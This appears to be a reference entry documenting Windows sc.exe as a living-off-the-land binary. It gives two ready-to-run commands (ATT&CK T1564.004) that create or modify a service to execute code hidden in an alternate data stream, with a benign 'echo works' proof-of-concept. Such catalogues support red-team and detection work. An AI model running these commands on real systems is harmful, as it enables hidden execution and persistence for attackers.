Sc.exe

type: OSBinaries
Used by Windows to manage services

Full path

C:\Windows\System32\sc.exe
C:\Windows\SysWOW64\sc.exe

Commands

  1. ADSUser T1564.004

    Execute binary file hidden inside an alternate data stream

    sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice

    Creates a new service and executes the file stored in the ADS.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: EXE

  2. ADSUser T1564.004

    Execute binary file hidden inside an alternate data stream

    sc config {ExistingServiceName} binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" & sc start {ExistingServiceName}

    Modifies an existing service and executes the file stored in the ADS.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: EXE

Detection

Resources

acknowledgement: Oddvar Moe @oddvarmoe